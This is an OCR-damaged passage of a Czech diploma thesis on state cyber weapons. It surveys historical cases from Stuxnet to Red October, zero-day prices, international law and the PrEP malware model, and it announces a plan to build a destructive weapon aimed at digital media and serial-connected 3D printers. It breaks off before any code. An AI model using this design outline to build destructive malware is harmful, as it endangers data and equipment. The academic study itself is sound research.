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Abstrakt

Tato diplomova prace je zamérena na kybernetické zbrané, které se pouzivaji k cilenému ttoku,
podobné jako nékteré typy cileného malwaru. V praci jsou popsany teoretické informace o exis-
tujicich kybernetickych zbranich, jejich ticel a nastalych situaci. Nasledujici ¢ast je zamérena na

tvorbu kybernetické zbrané a vyuziti PrEP frameworku, kterd je nésledné soucasti experimentu.

Klicova slova: Kybernetické zbrané, sifrovani, malware, virus

Abstract

This diploma thesis, existing cyber weapons theoretic information is described, including their
typical purpose, usage and circumstances. In the practical part, the focus is to developer a cyber

weapon with PrEP framework to test this weapon in practical experimental usage.

Keywords: Cyber Weapons, encryption, malware, virus
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1 Uvod

V dnesni spole¢nosti tvori informace klicovou roli, avsak ¢im dal vice téchto informaci je obsazeno
v informacnich systémech. Z dnesniho pohledu se na tyto systémy lidé stile vice zaméruji.
Informacni systémy pouzivaji nejmodernéjsi propojeni a zvysuji sviij vykon, ale bezpecnost je
Casto zanedbavana. Ze statistik dostupnych v ¢lancich [1, 2] je patrné, ze pocty utokiu na tyto
systémy se jiz od roku 2013 stéle zvysuji. S prichodem dnesni digitalizace je jiz drtiva vétsina véci
statu plné integrovana do svéta internetu. V roce 2010 J.Lynn definoval kyberneticky prostor
jako patou doménu valky. Pokud se tedy podivame na obrazku ¢. 1 je nutné si uvédomit, Ze je
potfeba z pozice statu branit nejen své izemi, ¢asti vod a vzdusny prostor, ale také kyberprostor.
Tyto sluzby jsou z velké ¢asti napadnutelné, coz mize v konecném dtsledku ochromit cely stat

nebo jeho kritickou infrastrukturu.

Cyber Air
4

= [ e—
Space S%, P Land

Sea

Obrazek 1: Valecné domény [3]

K témto ucelim vznika malware, ktery se Casto nazyvd Kybernetickd zbran a miize slouzit
jak pro utok, tak pro obranu statu. Nejcastéji se jedna o cileny malware, ktery skodi v predem
urcené cilové destinaci a nevzbuzuje podezieni v pripadé, Ze se jen Sifi nebo je neaktivni. Au-
tofi v ¢élanku [4] definuji chovani kybernetické zbrané podobné inteligentnimu agentu, ktery se
snazi nenapadné dostavat hloubéji k informacim, a jakmile je pripraven skodit na cilovém misté,
stane se z néj zbran, kterd je schopna cil i fyzicky zni¢it. I v pripadé detekce se snazi byt kéd
malwaru tézko odhalitelny a zpétné pochopitelny, a proto také ¢asto byva obfuskovan, aby jeho
zpétna analyza byla co nejtézsi. Jakmile se vsak jednou zbran pouzije a vzbudi pozornost, byva
casto odhalena a nasledné se témér jisté signatury takovéhoto malwaru dostanou do antivirové
databédze. Jednim z vétsich nepriteld mohou byt antivirové programy, zalozené na analyzovani
chovéani (behaviour-based antivirus), které monitoruji chovani klientské stanice a v pripadé ob-
jeveni neobvyklého chovani jakéhokoliv softwaru je tato udalost nahlasena spravci, ktery musi

dany incident detailnéji zanalyzovan.
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1.1 Motiv pro pouziti kybernetické zbrané

Hlavnim motivem pro vyvoj takovéto zbrané miize byt obrana statu, pro pripad jejiho napadeni.
Je mozné, a u nékterych statu dokonce potvrzené, ze vlastni takovéto kybernetické zbrané. Ne-
chtéji je vsak pouzit, jelikoz by doslo k jejimu odhaleni a vyvoj takovéto zbrané je ¢asové ndro¢ny
a drahy. Ve vojenském odvétvi mtzeme kybernetickou zbran prirovnat k samo-navadéci strele,
ktera ma zadany cil a cestu si mize zvolit. Lze ji taktéz pouzit jen jednou a v pripadé véasného
odhaleni muze druhd strana zmast informace na radaru a tim nepratelskou stfelu zneskodnit.
Kybernetickd zbran tedy muze fungovat v armadé a byt soucasti jak vojenské obrany, tak i
utoku. V pripadé obrany by bylo mozné kupiikladu napadnout letecké radary, které by byly
zniceny. Piipadné by zbran mohla hlasit falesné objekty na radaru a nepratelské letectvo by tak
provedlo utok na nespravné cile, které nejsou pro stat kritické, pripadné do odlehlych ¢asti moti
apod. Pti atoku miize takovato kyberneticka zbran slouzit jako podpora, ktera by byla schopna

zneskodnit ¢asti elektraren, a tim by zpusobila vypadky proudu napadaného statu. [5, 6]
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2 Aktualni situace v oblasti vyvoje kybernetickych zbrani

Jednim z hlavnich predstavitel kybernetickych zbrani byl Stuxnet. Vime, ze nebyl urcité prvni, ale
byl prvni, ktery byl odhalen a zanalyzovan hlavné diky ruské firmé VirusBlokAda [7]. Po ispésné
analyze byl publikovan vetfejnosti. Kybernetické zbrané maji za uicel hlavné sabotovat, reprogra-
movat, Spehovat, pfipadné fyzicky nic¢it urcita zatfizeni. Podobné tedy fungoval zminény Stuxnet,
ktery mél za cil zneuzit Iranskou jadernou elektrarnu, konkrétné zneuzit odstredivky. Jelikoz v
Iranu existuje pouze jedna jadernd elektrarna, mohla tato udéalost zplisobit blackout pro vétsi
¢ast statu. Dulezitou soucasti tohoto malwaru je vyuzivani "zero day vulnerability", aby se ma-
Iware Siril mezi dalsi pocitace bez povSimnuti a umél se adaptovat v prostiredi, ve kterém se
nachazi.

V ptipadé vyvoje kybernetické zbrané je dilezité se zamyslet, kdo takovou zbran vyviji.
Vétsinu takovychto zbrani vyviji specializované tymy, které jsou najimané primo statem, ktery je
také financuje. Je nutné podotknout, ze vétsina informaci o téchto zbranich byva dost utajovana,

stejné jako samotny jejich vyvoj.

2.1 Zero day vulnerability

Jedna se o typ zranitelnosti, které nejsou zatim vetfejné zndmé. V aktuélnich trendech[5] favo-
rizuje cerny trh s pocitacovymi zranitelnostmi, kde jsou pravé tyto zranitelnosti ve znamych
softwarech prodavany. Staty jsou tedy hlavnimi odbérateli téchto zranitelnosti, pripadné i sa-
motnych kybernetickych zbrani primo od kyberzlocinci.

Tyto ¢innosti a zjistovani novych zranitelnosti provadéji zejména vyzkumnici nebo skupiny
kybernetickych zlo¢incti. Nize je uvedend tabulka a c¢astky odhadovanych zranitelnosti, které

zatim nejsou znamy.

Tabulka 1: Cena zero-day zranitelnosti prodavanych na ¢erném trhu u jednotlivych aplikaci [5]

Znamy software c¢astka (USD) v roce 2011
Adobe Reader 5 000 - 30 000
Mac OSX 20 000 - 50 000
Android 30 000 - 60 000
Flash nebo Java rozsireni 40 000 - 100 000
Microsoft Word 50 000 - 100 000
Windows 60 000 - 120 000
Firefox nebo Safari 60 000 - 150 000
Chrome nebo Internet Explorer 80 000 - 200 000
iOS 100 000 - 250 000

Pouziti téchto zranitelnosti je velice dilezité, hlavné z divodu vyvoje kybernetickych zbrani,
které se maji s$itit nepozorované delsi dobu. Tyto zranitelnosti jim zajisti, aby je bylo velice tézké

odhalit a mohly byt stale pfipravené k pouziti.
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2.2 Financovani

V pfipadé vyvoje Stuxnetu se spekuluje o autorstvi vice statu [5], které maji silnou politickou
a vojenskou motivaci. Celd zbran byla vyvijena modularné a pfi zpétné analyze bylo detekovano,
Ze na vyvoji se podilelo vice statu. Spekuluje se, ze hlavnim vinikem Stuxnetu byl Izrael a Spojené
staty americké, ale zapojeni Ruska do nékterych ¢asti viru nelze vyloucit.

S prichodem moderni doby se zvysuje aktivita a odhodlani vlad statu investovat do kyberne-
tické bezpecnosti a jejiho vyzkumu, ktery zahrnuje i vyvoj kybernetickych zbrani. Nelze vyloucit,
ze nékteré staty jiz maji své kybernetické zbrané pripravené.

Vyvoj kybernetické zbrané je vsak velmi nakladny proces. Dle vefejnych informaci z konfe-
rence[8] ve Spojenych statech je odhadovana délka vyvoje nékolik let a zapojeni pfiblizné 592
profesionalti, kteri se podili na vyvoji takovéto zbrané. Detailnéjsi slozeni tymu je popsano v

tabulce ¢. 2

Tabulka 2: Rozpodet a sloZeni tymu pro vyvoj kybernetické zbrané [8]

Pracovni pozice Pocty Castka

Analytik zranitelnosti

10 seniord, 10 junioru

2 900 000 USD

Programator exploitu

10 seniori, 40 zkusenych a 20 juniori

7 300 000 USD

Bot kolektor

50 seniort, 10 juniort

4 150 000 USD

Udrzba botu

200 seniort, 20 juniort

12 900 000 USD

Operatori 50 senioru, 20 junioru 5 400 000 USD
Vzdaleny administrator 10 seniori, 10 junioru 400 000 USD
Programator 50 seniort, 20 juniort 2 850 000 USD
Tester 10 seniort, 5 junioru 800 000 USD
Konzultant 2 000 000 USD
Systémovy administrator 500 000 USD

Manazeri 92 6 200 000 USD

2.2.1 Pravni pohled na kybernetickou zbran

7 pravniho pohledu je kyberneticka zbran sedd zéna a zatim neni nikde pTfesné definovina.
Jak jiz bylo zminéno vyse, vyvoj kybernetické zbrané byva financovan statem, ktery tuto zbran
miuize vyuzit proti jinému statu. Z tohoto divodu se zde neda uplatnovat zdkon danych statu, ale
pracuje se s takzvanym Mezindrodnim humanitnim pravem. Nové se vytvorila prirucka Tallinnu
o mezindrodnim pravu pouzitelném na kybernetické valceni|9], ktery vytvorili experti na zakladé
pozadavku z NATO. Tato prirucka obsahuje pravidla mezindrodniho prava, ktera by mél kazdy
stat respektovat. Neobsahuje vsak kroky, jak takovou kybernetickou valku identifikovat a jak k
ni priradit stat. Je tieba také fict, ze zadny stat nezverejnil informace o tom, Ze vlastni takovéto
zbrané. Vyjimku tvori Spojené staty americké, které se netaji vyvojem kybernetické zbrané a

ptiznaly, ze zatim nebyla potfeba tuto zbran vyuzit [8].
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Z tohoto manudlu[9] muzeme pouzit pravidlo ¢. 41, které definuje prostiedky kybernetické
valky jako kybernetické zbrané a jeji souvisejici kybernetické systémy. 2 Déle je zde zadefinované
pravidlo ¢. 31 definujici, Zze kyberneticky ttok je operace u které se ocekava, ze zptisobi zranéni
nebo smrt lidem, nebo poskozeni ¢ zni¢eni objekttl. 3 Podobné jako v bézné valce by se mélo
poéitat, ze civilisté by neméli byt pfedmétem kybernetické valky. 4. Zajimavosti viak je pravidlo
¢. 29, ze civilistim neni zakazano byt soucasti takovéto kybernetické operace, ale ztraci tim

ochranu pred ttokem po dobu, kdy se takovéto operace tGcastni.?

2means of cyber warfare’ are cyber weapons and their associated cyber systems

3 A cyber attack is a cyber operation, whether offensive or defensive, that is reasonably expected to cause injury
or death to persons or damage or destruction to objects

4The civilian population as such, as well as individual civilians, shall not be the object of cyber attack.

5Civilians are not prohibited from directly participating in cyber operations amounting to hostilities but forfeit
their protection from attacks for such time as they so participate.
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3 Shrnuti vSech typt kybernetickych zbrani

V této kapitole bude popsano nékolik predchidct malwaru, které lze povazovat za kybernetickou
zbran. Nékteré z téchto malwaru nemtzeme dle definovanych pravidel nazyvat jako kybernetic-
kou zbran. Casto se viak stavd, Ze je malware za kybernetickou zbran zamétiovan, protoze jejich
pouziti mélo vyrazné nasledky pro druhou stranu [10].

Pokud bychom méli srovnat klasicky malware s kybernetickou zbrani, mizeme vyuzit rozdily

popsany v tabulce ¢. 3.

Tabulka 3: Rozdil mezi Stuxnetem a jinym malware [10]

Funkce | Kybernetickd zbran (Stuxnet) Jiny malware
Cil Urcity specificky ¢il (selekce) Bez rozdilu
Typ cile SCADA/ICS Pocitace
Velikost 500 KB Méné nez 500 KB
Exploity 4 nezname zranitelnosti Mozné 1 nezndma zranitelnost
Ovéfovani Validni certifikdty (ukradené) Podrvzené

3.1 Yahoo DDoS

V roce 2000 se masivné rozrostly DDoS utoky. Tento utok byl cileny jako prvni na komercéni
internetové giganty jako je Yahoo, CNN, eBay. Jeho hlavnim cilem byly webové stranky, které
jsou zavislé pravé na internetové publikaci. Podle odhadu zpusobil ztratu az 1.2 bilionad dolara.
Yahoo byl v této dobé druhy nejnavstévovanéjsi web a vypadek sluzby c¢inil nékolik hodin.
Zajimavosti je, ze utok byl silny az 1 Gigabit za sekundu. Od této doby se DDoS utok zacal
pouzivat pro vyrazeni konkurence. Tento Utok se pouziva i v dnesni dobé, jelikoz byva obtizné
rozlisit utok od klasického provozu. Mezi jeho nevyhodu mtzeme uvést, ze neni destruktivni, po

urc¢ité dobé je mozné provoz regulérné obnovit. [11]

3.2 Maroocky Shire Council

U této udalosti lze predpokladat, ze se jednalo o skutecnou kybernetickou zbran. Nedoslo zde
vsak k vyvoji zddného sofistikovaného malwaru, ale k vyuziti bezpe¢nostniho rizika a urcitého
druh pomsty. V této dobé totiz jesté nebyla rozsifena pocitacova bezpecnost a zaméstnanec
znal velmi dobfe systém, o ktery se staral. Utok byl proveden byvalym zaméstnancem, ktery
byl zaméstnén v Cisti¢ce odpadnich vod, kde implementoval SCADA systém. Po neshodach se
zaméstnavatelem se rozhodl pomstit a spustil pirikaz pro vypusténi 800 litrii odpadni vody do
mistnich rek a parkt. Toto lze povazovat za Utok na kritickou infrastrukturu, ktera by méla byt

chrdnéna. [11]
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3.3 Cerv Code Red

Vznikl v roce 2001 v névaznosti na udalost, kdy americké zpravodajské letadlo srazilo ¢insky
letoun. Americky pilot poté stihl nouzové pristat, zatimco éinsky pilot havaroval. Tato udalost
nésledné zahéjila kyberneticky protest na obou stranich. Jednim nejvyznamnéjSim programem
bylo pravé vytvoreni ¢erva, ktery pravdépodobné vytvoril ¢insky programator na jedné z tamnich
univerzit. Béhem sedmi dni se tomuto ¢ervu podafilo nakazit vice nez 250 tisic pocitact. Byl
vsak velmi rychle detekovan americkymi slozkami a zanalyzovan. Tento ¢erv mél za kol se sitit
skrz I1S servery, které v té dobé obsahovaly zranitelnost pomoci technologie preteceni zdsobniku.
Ve své druhé fazi mél provadét DDoS ttoky na nékolik predem zadanych IP adres. Jednou z
téchto adres byly také stranky Bilého domu, na kterych mél probéhnout itok 19. ¢ervence 2001.
Cely tutok byl vsak netspésny, jelikoz cely cerv byl odhalen a webové stranky Bilého domu se

presunuly na jinou IP adresu. [11]

3.4 SQL Slammer worm

V roce 2003 doslo k utokim na MS SQL servery, které obsahovaly zranitelnost. Jeden z téchto
utokl byl také na jadernou elektrarnu v Ohiu. Tento cerv, ktery vyuzival zranitelnost, dokazal
vypnout vSechny monitorovaci systémy na vice nez 5 hodin. Pro pracovniky bylo prekvapujici,
ze se vubec tento utok mohl stat, jelikoz méli zapnuty firewall. Malware vSak nasel zptsob
skrz dedikovanou linku a pomoci neaktualizovaného pocitace jednoho z architektu, ktery nemél
nainstalovanou ptl roku starou zaplatu v operacnim systému. Elektrarna vsak méla zalozni ana-
logovy zptisob monitoringu, ktery se pouzival, dokud se ptivodni systém neobnovil. Zajimavosti
u tohoto Cerva je, ze se nesnazil skryt. Predpoklada se, ze elektrarna nebyla ptivodné brana jako

cil a slo jen o ndhodu. [11]

3.5 Kyberneticky atok na Estonsko a Gruzii

Estonsko, stejné jako dalsi zapadni zemé se snazi vyuzivat moderni internetové technologie.
Spoléhaji na né dokonce tak moc, ze i ministr obrany zminil, ze Estonsko mé vlddu bez pa-
piru. V roce 2007 se estonska vlada rozhodla presunout sovétsky paméatnik. Tato udalost méla
negativni dopad mezi rusky mluvici mensinou. Pak nésledovaly nepokoje a kybernetické ttoky
ruskych vlastenctl, které sméfovaly na bankovni a vladni infrastrukturu. Utok byl provadén
pomoci botnetu, ktery spoustél DDoS utok na predurcené webové stranky. Bézna navstévnost
webu byla 1000 ptistuptd béhem jednoho dne. Béhem titoku se pocet ptistupu zvysil na 2000 za
jednu sekundu. Timto byla estonské kriticka infrastruktura ochromena na nékolik hodin. [11]
Obdobné to bylo v pripadé Gruzie, kde v roce 2008 vzniklo napéti kviili nezavislosti Jizni
Osetie, kterd lezi mezi Ruskem a Gruzii. Utok probihal pomoci technologic DDoS cilené na
vladni, medialni a finan¢ni stranky, které nasledné byly nedostupné déle nez 24 hodin. Tento

utok byl i soucasti propagandy, kdy si lidé mohli z ruskych fér stdhnout software i s pokyny,
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jak zautocit na Gruzii. Presto, ze se jednalo o utok, ktery nemeél trvalé nasledky, dokazala tato

udélost narusit Gruzinskou vojenskou akci na ruskou vojenskou kampan. [11]

3.6 Cerv Conficker

(]

neobsahovaly aktualizované systémy. Vzniklo az 5 verzi tohoto malwaru a kazdy vyuzival jiné
metody pro sifeni. Verze B se dokonce uméla skryt na USB zafizenich a infikovat kazdé zafizeni,
do kterého bylo dané USB ptipojeno. Celkové se tomuto ¢ervu podarilo infikovat vice néz milion
pocitacu, coz bylo jeho hlavnim cilem. Postupné se do téchto zarizenich instaluje dalsi malware,
ktery tyto pocitace zapojoval do botnetu. S vice nez milionem pocitact pod kontrolou by se dle

skupiny Conficker Working Group mohla stét potencionalni kyberneticka zbran. [11]

3.7 Stuxnet

Stuxnet muzeme brat jako hlavniho predstavitele kybernetické zbrané. Jednalo se o malware,
ktery se rozsitil v ¢ervenci roku 2010. Zaméfoval se na utok priamyslovych zafizeni a softwaru.
Oproti jindmu malwaru, vyuzival 4 neznamé zranitelnosti a dokazal se sitit jak po siti, tak pres
vyménitelnd zatrizeni. Odhalilo se, ze se sitil témér cely rok a nakazil vice nez sto tisic systému,
kde vice nez polovina byla umisténa v franu. Jeho hlavni cil byl ttok na Irdnské jaderné elek-
trarny. Pokud malware detekovat pripojeny SCADA systém, ktery splrioval kriteria umistén,
zacal zvysovat rychlost odstiedivek a zpusobil jejich zniceni. Novy trend tohoto viru umoznil zis-
kat hmatatelnou formu, tedy zni¢it néco, co fyzicky existuje. Také mél moznost prepsat ovladac
pouzivany pro komunikaci s PLC zafizenimi a tedy dochazelo k man-in-the-middle utoku, ktery
se snazil zamaskovat probihajici utok a zasilal falesné informace monitorovacimu systému. [11,
12, 7]

3.8 Red October

Nejedna se primo o kybernetickou zbran, ale spise o Spionazni malware. Tento malware se za-
méroval na diplomaty, vladni a vyzkumny sektor. Zajimavosti je jeho délka fungovani. Dokézal
fungovat 5 let a po celou tuto dobu nebyl detekovan. Data, které ziskal zasildl na nékolik serverti.
Vyuzivala také zranitelnosti, které jsou typické pro kybernetické zbrané a tedy zranitelnosti v
softwaru Word a Excel, kde néasledné doslo k stazeni pravé tohoto malwaru. Poté pouzival po-

dobnou zranitelnost jako zminény cerv Conficker, ktery umoznoval sifeni po siti. [13, 14]
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4 Srovnani kybernetickych zbrani

Z informaci, které jsou dostupné v ¢lanku [5], jsou ndzory na kybernetické zbrané odlisné. Je
tézké tict, zda je dany software kyberneticka zbran, protoze tato definice neni nikde pevné
zadefinovana. Kazdy stat si jiz drive sam zadefinovat legislativu a regulaci ohledné pouzivani
zbrani. Z dostupnych informaci 1ze rict, ze zbran musi mit destruktivni i¢inek a musi to byt jeji
primarni pouziti. V pripadé kybernetické zbrané plati, ze musi mit destruktivni 0cinek, at uz
fyzicky ¢i virtudlni v podobé zniceni dat.

Z malwaru uvedenych v predchozi kapitole splnuVirusje tento predpoklad pouze Stuxnet,
protoze byl cileny na urcitou ¢ast infrastruktury a zpusobil destrukci, kterd se nedala jednoduse
obnovit. Za zbran lze povazovat i software, ktery bude ni¢it néjakd dulezitd data v kritické in-
frastruktufre jiného stétu, nebo tuto éast odposlouchavat. Pro porovnéni se v ¢lanku [10] odkazuji
na porovnani Stuxnetu a Red October.

Stuxnet pravdépodobné vytvoiili v USA a Izraeli, aby fyzicky znicili odstiedivky v Irdnské
elektrarné a umoznoval se Sifit jak z Internetu a skrz mistni sit, tak pomoci USB zafizeni, diky
kterému se tento malware dostal az do elektrarny, kterd nebyla pripojena k Internetu. Jeho
skodliva ¢ast kddu méla nejen ménit rychlost odstiedivek, ale také podavat monitorujici stanici
informace, Ze se nic Spatného nedéje.

Red October byl pravdépodobné vyvinut v Rusku, nejednalo se vSak o klasickou kyberne-
tickou zbran, ale o velmi sofistikovany Spionazni software, ktery cilil na vyzkumné strediska a
diplomatické organizace napri¢ sttedni Asii az po vychodni Evropu. Jeho zajimavost je, Ze obsa-
hoval stovky moduli, které si podle potieby aktivoval. Dokézal sbirat nejenom néjaké systémové
informace, ale kopiroval i dalsi data, jako zpravy z elektronické posty nebo klicenky s hesly.

P1i porovnani téchto dvou malwart, mizeme tict, Ze se jedna o kybernetické zbrané, kde
kazda méla predem definovany cil. Stuxnet cilil na destrukei v iranské elektrarné, Red October se
soustiedil na sbér citlivych dat, hlavné ve vyzkumu a vladnich institucich. Oba tyto malwary jsou
velmi sofistikované a cili na predem urcené cile. Po odhaleni stuxnetu a pridani jeho signatury do
malwarové databaze se zacal objevovat i na jinych pocitac¢ich. Pozdéji doslo na detekci Stuxnetu
i na pocitacich, které také pracuji s PLC zafizenim, avska nedoslo k zadné destrukci, jelikoz
lokace pocitacti nebyla v Izraeli. Dle zpétné analyzy se dne 24. ¢ervna 2012 6 Stuxnet prestal

Naproti tomu Red October nebyl takto sofistikovany, ze by mél moznost se sam vypnout
po urc¢itém datu. Podle informaci z ¢lanku [10] doslo k efektivnimu zruSeni, az tehdy, kdyz
bylo omezeno vice nez 60 domén, kde byly moduly skodlivého kédu udrzovany pro chod celého

malwaru, ktery byl ovlddany pfes Command and Control servery.

fStuxnet reads a date from the configuration data (offset 0x8c in the configuration data). If the current date
is later than the date in the configuration file then infection will also not occur and the threat will exit. The date
found in the current configuration file is June 24, 2012 [7].
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5 Struktura kybernetické zbrané

Duvodua k vytvoreni takovéto kybernetické zbrané muze byt nékolik. Prevazné vSsak mohou
slouzit k utoku na elektrarny a byt tak podptrnou slozkou pii valce. Mohou také slouzit ke
Spionazi, kde mohou zjistit cenné informace z kritickych objekti, jako jsou farmacie, nemocnice
¢i vojenské objekty.

Kybernetickd zbran stejné jako klasicky malware vyuzivda PrEP modularni pfistup. Tento
pristup navrhuji autofi v ¢lanku [10] a popisuji, aby kazdy malware obsahoval t¥i zakladni
komponenty: Propagace, Exploit, Payload.

Propagacni metoda se stard o prenos skodlivého kédu do cilové destinace. Fxploit se vyuziva
pro infekci a zneuziva néjaké konkrétni zranitelnosti v cilovém systému, zatimco Payload je ¢ast
kédu napsany tak, aby bylo dosazeno pozadovaného skodlivého konce, jako smazani dat, ¢i ma-
nipulace s néjakym pramyslovym fidicim systémem. Pti blizsim zkoumani takovéhoto malwaru,
je zpétna rekonstrukce provadéna pravé na rozdéleni na tyto tfi prvky. Je nutné podotknout,
ze propagacni metoda a payload jsou doprovizeny vzajemné spolupracujicimi exploity, aby ma-
lware mohl obejit uréité ochranné mechanizmy, které by mu znemoznily se dale Sitit, ¢i provést

konecny tkol. Vsechny tyto komponenty je mozné zakreslit do diagramu, ktery je na obrazku

¢. 2

1
!
|

Propagation
Method H Payload I
[ U Exploits U J

Obrazek 2: PrEP Framework[10]

5.1 Propagace (Propagation)

Propagac¢ni metoda je ¢ast kodu, kterd miize mit nékolik etap. Jednou z prvotnich infekei mtize
byt pfiloha v e-mailu, poté se malware zacne sitit skrz webové stranky nebo vyuzije pripo-
jend USB zafizeni, které nam zajisti tzv. offline infekci na pocitacich, které nejsou pripojeny k
internetu. Autofi v ¢lanku [10] rozdéluji propagaci na Sest zakladnich metod pro Sifeni.

Pri siteni je dobré vyuzit metodu, kterd nam zajisti Sifeni v oblasti, kterou chceme napad-
nout. Rozpis téchto moznosti je v tabulce ¢. 4. V priipadé kybernetické zbrané miize byt prvni
stadiu propagace cilend na webové stranky statnich instituci ¢i mistnich bank, které prevazné

navstévuji lidé daného statu. Samozrejmé je dilezité pocitat s technickymi limity, jakym muze
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Tabulka 4: Metody siteni Malwaru

Propagace Priklad
Kompromitovany web mnoho, jakykoli web urc¢itého statu
Kompromitovana certifika¢ni autorita spol. DigiNotar
Kompromitovand priloha distribuce skrz e-mail - Kelihos botnet
Dropper malware Red October atd.
Mistni sit napt. Stuxnet v druhé fazi
Vyménitelnd média Autorun

byt samotny opera¢ni systém, ¢i néjaké programové vybaveni (software). Nejvyznamnéjsim ty-
pem mozného sifeni je v dnesni dobé rhybareni (phishing), kdy se cili na lidskou chybu. Tento
utok spociva v posilani falesnych e-maili se skodlivou prilohou a cili na bézné uzivatelé, kteri
nejsou prilis technicky zdatni. Tento e-mail se ve vétsiné pripadi tvari legitimné, je gramaticky
spravné napsan a prijde z legitimni e-mailové adresy. Diky témto vlastnostem vypada legitimné
a zvysuje se pravdépodobnost, ze uzivatel prilohu nerozpozné, otevie ji a dojde tim k ndkaze
pocitace. Existuji rtizné techniky, které se snazi uzivatele chranit, vétsinou vsak je nejvétsi riziko

v samotném uzivateli.

5.2 Zneuziti (Exploit)

Exploit je pomocna ¢ast malwaru, ktera doprovazi propagaci a payload, aby mohly ostatni ¢asti
malwaru tspésné fungovat. Zaméruje se hlavné na nedokonalosti v pocitacovém systému, siti ¢i
néjaké aplikaci. Zranitelnosti mohou byt zamérené na funkce v programu, ale mize se jednat i
o ruzné malé chyby, které v bézném provozu nenarusi chod programu. Chyby vSak nemusi byt
pouze v aplikacich, ale mohou byt i soucasti technického vybaveni (hardware), které mohou byt
nasledné velmi obtizné odstranitelné. Pokud je néktera ze zranitelnosti odhalena, byva pridana
do databdze CVE (Common Vulnerabilities and Exposures), kde je nasledné popsina a uvedena
jeji kriticnost.

Exploit muzeme rozdélit do nékolika kategorii.

e Pristup

e Eskalace prav

e Spusténi kédu

Exploit pro pristup se zaméruje na podporu modulu pro propagaci, a tedy zneuzivi zra-
nitelnosti, které by umoznily malware déle sirit. Dalsi zranitelnosti jsou na podporu vykonani
skodlivého kédu. Nejdiive je nutné vyuzit chybu, kterda ndm zajisti Administratorskd prava (eska-
a nejdrazsi ¢asti celého malwaru. Pri vyvoji kybernetické zbrané je dobré zvazit, které zrani-
telnosti vyuzit. Je nutné zvolit takové, které maji potencionalné dlouhou persistenci a naprava

této zranitelnosti bude trvat delsi cas.
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5.3 Skodliva ¢ast kédu (Payload)

Hlavni ¢ast malwaru je payload, jedné se o i¢innou slozku celého malwaru a povétsinou se jedné
o skodlivy kod. Podle této casti dokazeme rozhodnout, zda-li se jednd o bézny malware, nebo
kybernetickou zbran. Obsah payloadu se muze lisit. Mze ménit hesla, Spehovat, posilat e-maily
a tim tvorit dezinformace. Aby byl malware klasifikovin jako kybernetickd zbramn, musi jeho
payload obsahovat ¢ast, kterd bude mit destruktivni efekt. At uz digitalni znehodnoceni dat,
nebo znic¢eni konkrétniho hmatatelného objektu. Takovym objektem muze byt jak ¢ast systému,
tak i samotny hardware. V pripadé utoku na kardiostimuldtory ¢i podobné stroje, mize mit

tento utok fatalni vliv na zivoty lidi.

Tabulka 5: Typy skodlivého kédu malwaru [10]

Typ skodlivého kédu Efekt
Spionaz Kradez systémovych a uzivatelskych dat
Vycerpani zdroju Vycerpani pocitacovych zdroji. napt. DDoS dtok
Dezinformace Zména dat bez védomi uzivatele
Obfuskace Skryti skodlivé ¢asti pres detekénimi metodami
Command & Control Komunikace infikovaného systému s kontrolnim serverem
Persistence Povolit pristup k systému v pripadé odhaleni, smazani ptivodni detekce

Kyberneticka zbran muze stejné jako klasicky malware obsahovat nékteré z ¢asti uvedenych
v tabulce ¢. 5. Podstatné je, ze payload obsahuje jesté dalsi kategorii, kterou lze povazovat za

destruktivni, viz tabulka ¢. 6.

Tabulka 6: Typy skodlivého kédu Kybernetické zbrané [10]

Typ skodlivého kédu Efekt
Destruktivni digitdlni efekt | Degradovani, zni¢eni nebo naruseni dat nebo sitové sluzby
Destruktivni fyzicky efekt Zpusobi poskozeni fyzického systému nebo hardwaru.

Digitalni destruktivni efekt muze byt poskozeni integrity systému, smazani dat nebo jejich
naruseni. Mize se vSak jednat i o néjaky utok pro vycerpani zdroju, které budou mit za nésledek
pravé nekonzistencni data. Muze se taktéz jednat o utok na zavadéci sektor, ktery znemozni
nastartovani systému, pripadné Sifrovacich kli¢t, které mohou byt ulozeny na stejném oddile.

Fyzicky destruktivni efekt muze byt manipulace s technickym vybavenim, jako jsou odstre-
divky nebo generatory. Tento efekt zajist{ jejich nasledné zni¢eni vybaveni. ”

Klasicky malware tedy vyuziva hlavné metody, které jsou v tabulce ¢. 5, zatimco kyberneticka

zbran obsahuje i metody, které jsou uvedeny v tabulce ¢. 6

"Physical effects manipulate a piece of equipment, like a centrifuge or generator, causing it to damage or
destroy itself
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6 Tvorba kybernetické zbrané

V této kapitole se budu zabyvat tvorbou kybernetické zbrané, ktera bude nasledné soucasti celého
experimentu. Jelikoz byva vyvoj kybernetické zbrané velmi nakladny, bude se tato experimen-
talni cast zabyvat moznostmi sifeni kybernetické zbrané. Bude vyuzivat nékterych zranitelnosti,
které budou blize popsany v nasledujicich kapitolach a skodliva ¢dst bude zamérena hlavné na
destrukci digitalnich medii, pfipadné detekce 3D tiskarny a nasledné pozastaveni tisku, pripadné

i destrukce takovéto tiskarny.

6.1 Problémy pri tvorbé kybernetické zbrané

Problémi pfi tvorbé kybernetické zbrané mutize byt nékolik. Jsou vsak velmi podobné jako je
tomu pri tvorbé bézného malwaru. Jednim z prvnich problému je délka vyvoje. Tvorba sofis-
tikované kybernetické zbrané muze trvat velmi dlouhou dobu. Je tedy potieba vyuzivat jesté
neodhalené zranitelnosti, pripadné zranitelnosti, které jsou nové (zero-day vulnerability). Tato
¢ast byva jednou z nejdrazsich. Prehled cen jiz byl uveden v tabulce ¢. 1 v kapitole 2.1. Je nutné
fict, ze urcité chyby se ¢asem opravi, a proto nelze spoléhat pouze na jednu zranitelnost. Dalsim
problémem je nutna analyza cilového systému, na ktery se bude tutocit. Pfedevsim pokud se
jedna o kybernetickou zbran, kterd bude mit za cil znicit fyzické zafizeni, je nutné mit takovéto
zalizeni pristupné a zjistit i zranitelnosti v ném. Vyvojari Stuxnetu meéli vyhodu, Zze bezpecénost
pripojenych PLC pfistroji nebyla na vysoké trovni, i presto bylo nutné mit k témto zafizenim
pristup a védét, jak funguji. V neposledni fadé je nutné si uvédomit, jak se bude malware sitit

a jaké jsou metody jeho propagace.

6.2 Cil experimentalni casti

Cilem této diplomové prace je vyvoj kybernetické zbrané. V experimentdlni casti je vytvorena
zékladni kybernetickd zbran, kterd bude implementovat zminény PrEP framework a tim bude
cely malware modularni. Samotné kyberneticka zbran bude obsahovat nékolik metod propagace,
vyuzivat nékteré znamé zranitelnosti a bude obsahovat nékolik moznosti spustit destruktivni
kéd, ktery dokéze nejenom znicit digitdlni data, ale také fyzické zarizeni, které muze byt k
pocitaci pripojeno pomoci sériového portu. Hlavnim cilem kazdé kybernetické zbrané je umét se
